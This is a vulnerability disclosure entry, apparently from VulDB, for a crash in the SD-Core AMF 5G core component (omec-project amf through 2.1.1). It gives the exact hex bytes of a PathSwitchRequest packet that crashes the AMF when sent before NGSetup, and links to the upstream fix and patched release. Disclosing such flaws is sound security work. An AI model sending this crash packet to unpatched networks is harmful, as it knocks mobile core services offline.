| Titre | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Description | Sending a PathSwitchRequest without establishing a valid UE Context crashes the AMF
Send the following packet before NGSetup is completed.
00 19 80 33 00 00 04 00 55 00 02 00 00 00 0A 40 06 80 20 98 A0 C7 6D 00 79 00 0F 40 3B 7D 57 B8 A3 4C E0 80 3B 7D 57 00 00 07 00 77 00 09 05 5E 44 78 D0 A4 FB C0 24
Developers askowneldged the issue and fixed it.
Fix:
https://github.com/omec-project/amf/pull/666
Release:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa |
|---|
| La source | ⚠️ https://github.com/omec-project/amf/issues/680 |
|---|
| Utilisateur | shovon0203 (UID 96191) |
|---|
| Soumission | 23/04/2026 21:22 (il y a 1 mois) |
|---|
| Modérer | 22/05/2026 19:45 (29 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 365245 [omec-project amf jusqu’à 2.1.1 PathSwitchRequest buffer overflow] |
|---|
| Points | 20 |
|---|